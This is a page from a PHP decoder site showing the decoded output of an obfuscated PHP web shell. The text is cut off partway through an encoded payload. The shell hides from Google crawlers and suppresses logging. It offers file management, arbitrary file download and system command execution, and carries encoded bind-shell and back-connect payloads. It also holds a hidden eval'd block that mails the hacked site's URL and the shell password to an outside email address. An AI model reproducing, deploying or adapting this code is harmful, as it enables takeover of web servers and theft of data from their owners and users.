Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHAgCiRhdXRoX3Bhc3MgPSAiZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU..
Decoded Output download
?>b'<?php
$auth_pass = "e10adc3949ba59abbe56e057f20f883e";
$color = "#FF0000";
$default_action = \'FilesMan\';
@define(\'SELF_PATH\', __FILE__);
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) {
header(\'HTTP/1.0 404 Not Found\');
exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'output_buffering\',0);
if(isset($_GET[\'dl\']) && ($_GET[\'dl\'] != "")){
$file = $_GET[\'dl\'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET[\'dlgzip\']) && ($_GET[\'dlgzip\'] != "")){
$file = $_GET[\'dlgzip\'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez;
exit;
}
// view image
if(isset($_GET[\'img\'])){
@ob_clean();
$d = magicboom($_GET[\'y\']);
$f = $_GET[\'img\'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style=\'color:#00FF00\'>ON</font></b>";}else {return "<b><font style=\'color:#DD4736\'>OFF</font></b>";}}
function testmysql() {if (function_exists(\'mysql_connect\')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists(\'curl_version\')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe(\'wget --help\')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe(\'perl -h\')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET[\'y\'])){
if(@is_dir($_GET[\'view\'])){
$pwd = $_GET[\'view\'];
@chdir($pwd);
}
else{
$pwd = $_GET[\'y\'];
@chdir($pwd);
}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\',$s / 1073741824 ).\' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\',$s / 1048576 ) .\' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\',$s / 1024 ) .\' KB\';
else
return $s .\' B\';
}
// username, id, shell prompt and working directory
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
// find drive letters
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
function testoracle() {
if (function_exists(\'ocilogon\')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists(\'mssql_connect\')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style=\'color:\'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
else { return "<span style=\'color:#00FF1E\'><b>NONE</b></span>"; }
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER[\'REMOTE_ADDR\'];
$admin_id=$_SERVER[\'SERVER_ADMIN\'];
$bindport = "13123";
$bindport_pass = "b374k";
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// rename file or folder
if(isset($_POST[\'rename\'])){
$old = $_POST[\'oldname\'];
$new = $_POST[\'newname\'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST[\'chmod\'])){
$name = $_POST[\'name\'];
$value = $_POST[\'newvalue\'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST[\'chmod_folder\'])){
$name = $_POST[\'name\'];
$value = $_POST[\'newvalue\'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// print useful info
$buff = "Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
$buff .= "Free Disk: "."<span style=\'color:#00FF1E\'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";
$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiaGFyZHdhcmVoZWF2ZW4uY29tQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
eval(base64_decode($injbuff));
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">
<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form></table><table class=\"explore\">
<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar(\'titik1\',\'titik1_form\');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form></td>
</tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC\'> $folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar(\'titik2\',\'titik2_form\');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==\' /> [ $folder ]</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($folder)."_form\',\'".clearspace($folder)."_link\');\" />
</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
<td><center>
<a href=\"javascript:tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form3\');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf(\'%o\', fileperms($pwd.$folder)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form3\');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form\');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
}
}
foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\' /> $file</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form2\');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf(\'%o\', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form2\');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size kb";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size mb";
}
}
}
else return "???";
}
function exe($cmd){
if(function_exists(\'system\')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists(\'exec\')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists(\'passthru\')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists(\'shell_exec\')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text){
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case \'wwget\': exe(which(\'wget\')." ".$url." -O ".$namafile);break;
case \'wlynx\': exe(which(\'lynx\')." -source ".$url." > ".$namafile);break;
case \'wfread\' : ambil($wurl,$namafile);break;
case \'wfetch\' : exe(which(\'fetch\')." -o ".$namafile." -p ".$url);break;
case \'wlinks\' : exe(which(\'links\')." -source ".$url." > ".$namafile);break;
case \'wget\' : exe(which(\'GET\')." ".$url." > ".$namafile);break;
case \'wcurl\' : exe(which(\'curl\')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms=\'\';
$perms .= ($mode & 00400) ? \'r\' : \'-\';
$perms .= ($mode & 00200) ? \'w\' : \'-\';
$perms .= ($mode & 00100) ? \'x\' : \'-\';
$perms .= ($mode & 00040) ? \'r\' : \'-\';
$perms .= ($mode & 00020) ? \'w\' : \'-\';
$perms .= ($mode & 00010) ? \'x\' : \'-\';
$perms .= ($mode & 00004) ? \'r\' : \'-\';
$perms .= ($mode & 00002) ? \'w\' : \'-\';
$perms .= ($mode & 00001) ? \'x\' : \'-\';
return $perms;
}
else return "??????????";
}
function clearspace($text){
return str_replace(" ","_",$text);
}
// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//confshell
$configshell = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJh